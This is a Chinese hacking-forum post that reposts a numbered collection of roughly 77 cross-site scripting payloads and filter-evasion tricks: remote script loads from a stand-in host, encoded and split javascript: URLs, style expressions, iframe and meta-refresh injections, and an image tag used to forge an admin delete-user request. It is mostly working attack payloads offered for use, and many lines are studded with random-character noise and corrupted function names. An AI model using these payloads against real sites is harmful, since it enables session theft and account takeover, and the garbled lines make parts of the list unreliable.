找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3680|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。7 C( J$ U! X9 [( J2 W

" T; [! j" Z# Z! o& ?7 G' E (1)普通的XSS JavaScript注入
# |( [+ f2 P/ B$ e& _% z <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
1 L4 E9 X2 h: t$ V0 K2 L3 y
0 ^* K* k0 H5 ` (2)IMG标签XSS使用JavaScript命令
1 s) M7 p/ w' y. F9 d  Y <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
8 {( H  q9 [: e5 s0 {4 l8 c, U" H0 Y, ?0 G7 c; ]) c7 q
(3)IMG标签无分号无引号' `0 `. s5 u8 V* u
<IMG SRC=javascript:alert(‘XSS’)>  j, \  a6 s  l0 F

) u; [! N8 O5 |  v2 h* |9 g4 R (4)IMG标签大小写不敏感
1 v0 {8 u% \. j. U3 F( m <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
( m0 p$ n" [% m* x* U- b& V' L% m% [! q
(5)HTML编码(必须有分号)
, f) x! N3 W0 ^6 ` <IMG SRC=javascript:alert(“XSS”)>
- i. Y' n& z/ D- C
6 ?( M6 I7 J9 h (6)修正缺陷IMG标签4 L: M% L" ^# O: l  |  Y
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
6 {9 |( O$ l0 Z, ?
3 Y1 z2 H$ i5 v5 c (7)formCharCode标签(计算器)8 K; z9 s" c* x
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& B" r1 f7 b2 ~, D" F  e

) L  m& n* x# `; J  [  j) s (8)UTF-8的Unicode编码(计算器)4 i2 T0 P+ R2 L! r
<IMG SRC=jav..省略..S')>" ]. w% D) |6 s

7 ]% r. M: s4 g: q8 G+ n% ^: L- S0 b (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
+ H" S( ]. p4 Q# T9 I1 k5 T" s+ S <IMG SRC=jav..省略..S')>
2 I- {( |! n, Q6 M1 C1 [+ u+ O  n; v! A& V3 y
(10)十六进制编码也是没有分号(计算器)
5 n6 t5 ?, Y4 W( U <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
6 u; ~8 i. Y/ a3 n; a
, |* ^. F, u# n) P+ H (11)嵌入式标签,将Javascript分开
2 t+ ^! B+ U4 V2 }. L <IMG SRC=”jav ascript:alert(‘XSS’);”>+ r" @$ U2 L+ e2 q: h

- _# G2 Y# g( }* \0 ?9 I8 V (12)嵌入式编码标签,将Javascript分开% `* b$ C  {' R+ z1 T& a+ l
<IMG SRC=”jav ascript:alert(‘XSS’);”>$ c- P2 x/ C7 O1 D% O6 C& C3 U

& K0 R& Q8 Y* ?2 M$ I7 n- z" V. j& r- e (13)嵌入式换行符$ Q! o5 P; z# s
<IMG SRC=”jav ascript:alert(‘XSS’);”>
) f7 ^3 c! G+ S# `, Z" _( @& E' j* f8 w+ o4 M0 q& I
(14)嵌入式回车
1 S: U9 o! p- C; a3 I! O: e <IMG SRC=”jav ascript:alert(‘XSS’);”>+ f9 @/ B7 Z; J4 u0 y) d, R
- c  L- D6 F, J" ^# d
(15)嵌入式多行注入JavaScript,这是XSS极端的例子1 H; W9 E; x3 Z
<IMG SRC=”javascript:alert(‘XSS‘)”>5 Y, m7 v/ t! u
2 G( d! u& |, g
(16)解决限制字符(要求同页面)# Z, w# ~9 U- J3 w9 }  M
<script>z=’document.’</script>+ R* ?3 u3 M3 i
<script>z=z+’write(“‘</script>3 _1 K; A8 T2 G! Z' w6 |) u0 i
<script>z=z+’<script’</script>6 k& P1 J# ^, L# B0 j3 d. o/ e
<script>z=z+’ src=ht’</script>
$ c0 A2 i. ?6 g6 P# w <script>z=z+’tp://ww’</script>
7 ^1 ?( D5 u5 r  E <script>z=z+’w.shell’</script>
  q1 c1 Q2 }% `) g4 ` <script>z=z+’.net/1.’</script>4 f0 l4 [8 h5 _* J7 B/ }* A
<script>z=z+’js></sc’</script>
$ O: e) b! I6 ]$ { <script>z=z+’ript>”)’</script>
! {( G! V# P" n2 j7 @) `9 U9 f. u/ p1 p <script>eval_r(z)</script>
3 [& d5 A# q$ ]- O- E9 P! \( G3 J1 s1 Q% h4 _+ Y2 s  w
(17)空字符
/ j, K' u5 p, V8 X; b perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out' V; ]: Z( l6 H9 Q; S3 U

" f* S2 {# Z! [& O! W( r (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用! o6 Q- v; B7 M8 e/ [" Y
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ o3 M; I, m6 a2 s* a
+ L, O& s6 Z" k, K. O% o: {( I
(19)Spaces和meta前的IMG标签* {, b% u; e* Y8 h. S6 J4 k
<IMG SRC=”   javascript:alert(‘XSS’);”>
# T1 A+ j- I# h* F
# D$ I' z* z, O. W' g (20)Non-alpha-non-digit XSS" a% o. ~6 F  `
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
  f2 f8 X' Y$ f* G! F% W+ H' B# }8 J& O5 u2 K+ P% D: i/ d3 B
(21)Non-alpha-non-digit XSS to 2
7 m4 A5 k5 f! R  {  t/ p+ p! [ <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>4 P; {/ R# m  U  w3 b

) C  ^; D) v2 [8 p+ V% d7 h$ m6 l (22)Non-alpha-non-digit XSS to 3" |2 ^, s( j" C% L% f' }
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
( U, u2 \3 I5 J  P: k: j3 Z' m& e' a  S( _. c3 V/ p$ @
(23)双开括号' [9 t* e% U% u5 V* J
<<SCRIPT>alert(“XSS”);//<</SCRIPT>7 l0 o* G% Z0 T; o9 i/ C2 w; \

  y' G4 v9 p, K- Y (24)无结束脚本标记(仅火狐等浏览器)5 ^' Q. G# C. r) {
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
: M4 K+ Y) a; d7 r- q
/ ]( k6 u' {2 L" n* j8 q& W (25)无结束脚本标记2
7 }* L3 l1 j/ |2 T. b6 e) k% n <SCRIPT SRC=//3w.org/XSS/xss.js>
  }( Y! H, q2 ~% G1 h: A$ o
4 ^; x+ O6 T( t% t (26)半开的HTML/JavaScript XSS
- j6 N+ w3 E$ m  g <IMG SRC=”javascript:alert(‘XSS’)”3 ?+ [1 q: S7 y: w. p9 p

/ p  n+ ~: S7 e0 _ (27)双开角括号
/ U; Y! P  T: }4 _' h <iframe src=http://3w.org/XSS.html <
: v9 x& \) a! U, r+ ~# t' g6 `
( U/ R# H" v+ T, u3 C (28)无单引号 双引号 分号
( E4 l6 ^% ?4 [% l( e- w" b6 G* ? <SCRIPT>a=/XSS/- p. z8 \9 A! O. E: b* ~
alert(a.source)</SCRIPT>4 Z" b9 Q, k8 d' w; ~6 L
3 p% l$ Q/ F/ @
(29)换码过滤的JavaScript
5 n; Q- k. Z1 G) l$ v" ^! i \”;alert(‘XSS’);//
: H+ ^  A+ j& a5 V* I% b
! v9 u. B+ l2 U3 d; N (30)结束Title标签, p! Q. t9 o' R* M: G
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
: [% O( M' _; {3 t7 Y. ^; Y6 j! Y% X
(31)Input Image
& `9 I; Y* Z% C+ w6 H <INPUT SRC=”javascript:alert(‘XSS’);”>3 N9 C/ M! |+ S  l& u
' ^* s, |! G2 L1 c5 M
(32)BODY Image
/ R' V$ m0 w8 a8 w" m+ Q <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
! s, q1 m( ^$ E! V9 q1 E& m: H8 b& a
(33)BODY标签
  ^3 V! |: W# S  [" M* D7 C <BODY(‘XSS’)>
7 i. ]0 u% {" K/ s( l* Y6 b  _% p
- S* F# ]* f: C- A2 v" v$ g* g& w% O (34)IMG Dynsrc7 @: }, f$ O8 Q
<IMG DYNSRC=”javascript:alert(‘XSS’)”>  ?! {/ Y- G, ^$ S: W% y
% @( l7 t; |8 \7 u& O
(35)IMG Lowsrc  s5 _5 z7 q  |$ Z$ W
<IMG LOWSRC=”javascript:alert(‘XSS’)”>; F: f' T' [* J4 N3 ^
% I2 C) r, X2 ?- b4 j
(36)BGSOUND
) L9 o1 `# ?' E% K/ M' ] <BGSOUND SRC=”javascript:alert(‘XSS’);”>
* b; p% Q% Z8 p, h
0 Q0 g4 M' A; F9 `/ V8 G2 \ (37)STYLE sheet0 Y# R, d3 C$ i8 E' K1 {
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>1 Y' a7 \3 a% o

) |/ P* e3 h2 i2 G+ x (38)远程样式表1 T( m2 Q8 ~# C& ?! }' l$ |
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>) N1 r2 c: `: u$ Y/ @+ }
" |" j* V! u" @
(39)List-style-image(列表式)
9 u3 U- t1 t  T6 E& C8 f' t <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS% `6 D- z% n3 O- ]0 H) I, V
8 A4 d5 `0 C; ^* U0 r! b3 M
(40)IMG VBscript
' U6 x+ D: \! r% }$ V8 H <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS/ U; R1 N, @& `, f" H
4 L& [# s  h5 D# F4 K- ~
(41)META链接url
% D. C7 o, T: ^: \ <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”># o# Y1 e. w0 k! V( w& v4 t- H

0 P# p+ x. J- T  R (42)Iframe7 l6 u' w- C; x2 {3 @; J" i0 e
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>5 G% G  J; R; |' F1 i: ?4 s

$ t; T6 p) b- w, F2 ]# a  n (43)Frame/ v3 s6 J( [, d) I( E) O
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>' f" v, B3 @" T% c6 J2 _
) L: j2 T, t! ?# r2 [
(44)Table
- {) r% K: {% r <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
9 z4 J& ~2 K. k- G: n" ?$ ?  S- }: R5 A7 Q* G! L' X/ [4 G
(45)TD
/ q* v! H( _1 y5 @ <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>9 E8 j/ _  h; v: J. F# C
: k1 G1 [) M. u6 c% c! T; G  @  ~; u5 ?
(46)DIV background-image
6 ?: ~2 D; J' O) V <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>& U# i1 o2 Y: d* q
# e$ L, ]6 J3 f
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)& S1 E4 L+ w- V+ n) h7 O' F
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ C" ~% c% M" O  K

5 T8 R( H; o0 h- L( m) C (48)DIV expression
3 m2 C1 W, e0 H3 M& T7 u* V <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- f9 Y( y8 y3 W+ h( H) ?& Y2 M4 P1 q
(49)STYLE属性分拆表达4 D) p+ y/ P1 ^$ j# L" o9 C
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>) W2 j+ z2 w. X" h6 a

3 J" i/ g( g8 u" V (50)匿名STYLE(组成:开角号和一个字母开头)
' v+ L8 y: W: F, T' L0 J9 @* { <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
+ s% @1 ]0 \- a4 ~
. I* c/ `/ q' h3 V( R" {1 i, z4 H (51)STYLE background-image* U$ S4 L0 \, A3 N9 P6 {
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>/ |5 d, h$ D* R* _! `+ e

  ]& V: `8 a3 C2 `& n" H$ B (52)IMG STYLE方式1 j, U9 }2 M. c+ m# J# {4 G
exppression(alert(“XSS”))’>+ `4 @- P: a3 z

# ~7 e  B- w  S$ T& Z% C) o( ^; X (53)STYLE background
* X4 U, p% h, }+ F <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>- S! [! r" H* s
1 i! j# z7 V! R7 G1 W; U
(54)BASE# ~! g5 H  }4 [7 B( ~
<BASE HREF=”javascript:alert(‘XSS’);//”>; R% }; B9 W) t

" r  V2 g5 @  L2 b (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS, I. L, t; e% _8 h( K! I7 w, J
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
4 N% b2 z, Z" U( Y$ V% a/ Y
9 {1 \& L1 I. U% o( z1 k: k (56)在flash中使用ActionScrpt可以混进你XSS的代码
: p' Y0 T3 X) o, ?$ m/ ? a=”get”;; d% a' a( J2 W2 {, a' W% C
b=”URL(\”";
& Y4 G" X. e& ?: o# z c=”javascript:”;
1 k# O# [# H: \# a/ C d=”alert(‘XSS’);\”)”;
9 h" W# j( G% @/ k: d  Y eval_r(a+b+c+d);
9 t+ c; p6 g/ J; E! i; h  h4 b, D) o" e5 o5 O/ B: N
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
) Z* Z! T* b# @. O5 P4 ^6 C <HTML xmlns:xss>
6 ^  g& {4 _1 U/ n# a3 {/ R0 [$ ` <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
5 I8 U  _' R6 X: N& d6 T <xss:xss>XSS</xss:xss># J/ [: J; G5 U- s
</HTML>) {) r$ q5 e& [  m) ^5 s
) L4 D( ~1 Q- i) J8 L
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用' v: d2 x! f0 o( X2 l
<SCRIPT SRC=””></SCRIPT>
+ x7 j% K8 Z3 W: v6 C8 p, P4 X% v+ y( U- M9 R% i" Q# m& \9 n
(59)IMG嵌入式命令,可执行任意命令
, `* Q+ r1 A& w/ `! m# F- \ <IMG SRC=”http://www.XXX.com/a.php?a=b”>
) e6 X, E, p& G* ^/ g
" E7 S5 \1 t; z  \, U" q (60)IMG嵌入式命令(a.jpg在同服务器)
) [6 Z. H6 H4 s6 B* v8 a$ A: P2 a Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser0 ?! Q7 J: S# Y3 u7 n
0 R1 ?8 q! d4 h: E, m
(61)绕符号过滤8 z$ l8 s2 A0 }/ {% R# l* V
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>* o+ H" h4 P8 `0 h  Z+ d
6 @& T/ a' R4 }
(62)
- |6 g% S! s2 m! F. A. V <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
) l$ |& N' `! I1 [# W+ R- S* f  J; Q$ V  U" c* E
(63). I5 D5 M6 ]; H8 {. n& p; C
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>. Z9 v  C/ C* X7 f4 V4 X; w" l  Y7 Y

2 S5 k( C3 r) d; x" z  ] (64)6 _; D5 W1 x7 a3 J% o1 Q8 ~' r0 B
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>9 l1 b. p+ j  ~& x! i3 C; T
3 H4 b1 E; C  h9 d4 z) n$ |
(65)
9 n, I- H2 r3 Z <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
6 l1 @" y" P! i: g" S$ V% A1 R+ i; ]
(66)
/ ~8 j5 j, j$ T5 G& P <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
+ o+ U/ O2 [7 k0 Z5 r! D
2 x  N' Q5 u) D7 x! G+ L3 T (67)! O" l; _0 P+ v! ?! g$ m- t
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
1 Y7 Z; l# Q. C$ Y  ~+ ^# y% _$ }1 a# W1 A
(68)URL绕行
" q7 B$ o& O/ U( f0 ^: B; T <A HREF=”http://127.0.0.1/”>XSS</A>7 r0 G" j# F' r9 z
# _4 `# g- D, j" F% n
(69)URL编码
2 X! l9 K: g2 \+ U% d <A HREF=”http://3w.org”>XSS</A>
2 R+ R) @# J# a! }$ F; f5 a) K2 R; k5 M- |2 ~
(70)IP十进制
* |% B8 [2 ]0 z& `, b: Y; g9 e <A HREF=”http://3232235521″>XSS</A>
: p" V4 H& ]0 W, |: B4 c- w# E: ?. B
* K; o5 l" h2 e' p, E3 G7 r7 S# } (71)IP十六进制0 a$ |% e. r% O1 G" W$ h0 [
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
1 ~3 n' w6 N6 r7 w& i" l% Y0 E/ v0 u2 j9 k: E8 f2 ^% ?
(72)IP八进制
3 @% u+ U) B, ~7 H; A6 a1 b" @) \ <A HREF=”http://0300.0250.0000.0001″>XSS</A>( I9 G8 T; A) b% p9 W* A
9 J& g  E# a0 X' o& x' p7 ~# H
(73)混合编码: j/ T. q6 |) x2 N9 S. @" R9 Z" @# j
<A HREF=”h+ s; ]+ B; c7 u0 j" H  }" x9 d
tt p://6 6.000146.0×7.147/”">XSS</A>7 G" D8 b& M+ b% u* e# `5 H
7 p, ]* ^+ u: ~; _# a4 o0 r" y) l
(74)节省[http:]- C# }7 _5 y8 g$ f
<A HREF=”//www.google.com/”>XSS</A>
3 M. ]9 J% L. L% E' v  X' S4 v* Y0 s
(75)节省[www]/ k; i1 ?# c3 p+ V: J+ E3 J
<A HREF=”http://google.com/”>XSS</A>
7 K0 n3 \( }8 I. ]8 ~& F0 g
  d- S  Q1 [0 a% [6 N3 X (76)绝对点绝对DNS
5 a) m$ ?* ^: Q( r <A HREF=”http://www.google.com./”>XSS</A>+ z0 v) w9 q" i4 Q2 h. w0 w

8 e0 @( o" Z  K3 L (77)javascript链接
6 r0 P, [/ u: p5 v+ [ <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表